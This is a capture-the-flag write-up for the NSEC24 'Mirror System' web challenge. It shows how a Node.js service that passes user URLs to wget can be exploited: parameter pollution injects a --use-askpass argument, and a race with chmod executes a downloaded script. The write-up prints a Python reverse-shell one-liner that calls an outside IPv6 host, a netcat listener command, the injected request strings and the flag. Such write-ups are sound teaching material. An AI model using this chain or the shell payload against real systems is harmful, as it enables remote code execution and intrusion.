NSEC24 Mirror System - Mon, May 20, 2024 - Sideni
Look at yourself just like Mr Wellington looks at himself in the mirror, a great crusty beef wellington cooked to perfection! | Web | Nsec24
The mirror system is simple; you show it something (an URL) and it shows it back (what is hosted there, at least).
The Magic || ɔiϱɒM ɘʜT
const WGET_BIN_PATH = '/usr/bin/wget'
const CHMOD_BIN_PATH = '/usr/bin/chmod'
const NGINX_PATH = '/var/www/nginx'
const STATIC_PATH = NGINX_PATH + '/static/tmp'
# ...
const args = [
'--no-cookies',
'--timeout=120',
'--tries=3',
'--no-check-certificate',
'-r',
'-P',
STATIC_PATH
];
if (ctx.request.body && ctx.request.body.url) {
// Make sure we can write our result in the tmp folder
execFileSync(CHMOD_BIN_PATH, ['-R', '700', STATIC_PATH]);
// Fetch our content
execFile(WGET_BIN_PATH, args.concat(ctx.request.body.url), null, (err, _, stderr) => {
if (!err && stderr.includes('Saving to: ‘')) {
// If the program ran successfully, make sure we can read the file
// and send the output in the HTTP response
var filePath = stderr.split('Saving to: ‘')[1].split('’\n')[0];
var file = fs.createReadStream(filePath);
file.on('end', function() {
fs.rmSync(path.dirname(filePath), { recursive: true, force: true });
});
ctx.type = 'hmtl';
ctx.set('Content-type', 'text/html');
ctx.body = file;
return resolve(ctx.body);
} else {
ctx.status = 500;
if (err) {
ctx.body = err.stack;
} else {
ctx.body = "An unknown error has occured.";
}
// Make sure we cleanup the tmp folder just in case
fs.readdirSync(STATIC_PATH).forEach(f => fs.rmSync(`${STATIC_PATH}/${f}`, { recursive: true, force: true }));
return resolve(ctx.body);
}
The STATIC_PATH
directory is being chmod
recursively to 700 (rwx——).
All files inside that folder and subfolders will be given these permissions.
In addtion, this is where wget
will save retrieved files. This is specified by the -P
argument.
As seen in the wget
manpage.
-P prefix
--directory-prefix=prefix
Set directory prefix to prefix. The directory prefix is the directory where all other
files and subdirectories will be saved to, i.e. the top of the retrieval tree. The
default is . (the current directory).
Why Would I Care? || ⸮ɘɿɒƆ I blυoW γʜW
There’s a nice argument in wget
which is --use-askpass
.
Let’s read the manpage again.
--use-askpass=command
Prompt for a user and password using the specified command. If no command is specified
then the command in the environment variable WGET_ASKPASS is used. If WGET_ASKPASS is
not set then the command in the environment variable SSH_ASKPASS is used.
You can set the default command for use-askpass in the .wgetrc. That setting may be
overridden from the command line.
The caveat here is that the “command” needs to be a file which will be executed. It cannot be a “complete” command. That’s not a big deal, we can have the server download a file of our choice.
The Issue || ɘυƨƨI ɘʜT
Our file will not have the “execute” permission set when uploaded.
The chmod
command runs before we download our file on the server and once it’s been reflected in the mirror of our soul, it is removed for eternity (just like my dreams…)
Also, we can’t really add more than one argument to the argument list to do more argument injecting. All of that because it concats our single url to the argument list…
Let’s “Force Du Cou” || “ᴜoƆ ᴜꓷ ɘɔяoᖷ” ƨ’Ɉɘ⅃
Would it be possible to have two requests doing a race where the first would upload our file to be executed and the second would make it executable via the recursive chmod
and use the --use-askpass
argument to run it before it gets removed?
Wait For Me! || !ɘM яoᖷ ɈiɒW
Have you ever heard of parameter pollution? It is possible to send two URLs in our request and in that case, both will be received by the server as a list of URLs.
What would happend if we send this first request?
url=http://shell.ctf:3333/test.txt&url=http://shell.ctf:5555
Where test.txt
contains the following:
#!/bin/bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("9000:6666:6666:6666:216:3eff:feb1:8d80",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
And where the shell.ctf port 5555 is being listened on with nc -6 -lnvp 5555
.
The test.txt
file is being downloaded by the server first and then, as long as netcat is listening (or that the timeout is not reached), the wget
command will hang before letting the server remove the downloaded files.
You Know What That Means? || ⸮ƨnɒɘM ɈɒʜT ɈɒʜW ᴡonꓘ ᴜoY
While this first wget
hangs, we can send a second request with the following parameters:
url=--use-askpass=/var/www/nginx/static/tmp/shell.ctf:3333/test.txt&url=http://shell.ctf
Note that we still set a second URL because wget
wouldn’t be valid otherwise.
With an opened netcat listener, we should get back a reverse shell to retrieve our precious flag.
FLAG-57199b590846fa71df8dfa468a5d9e5d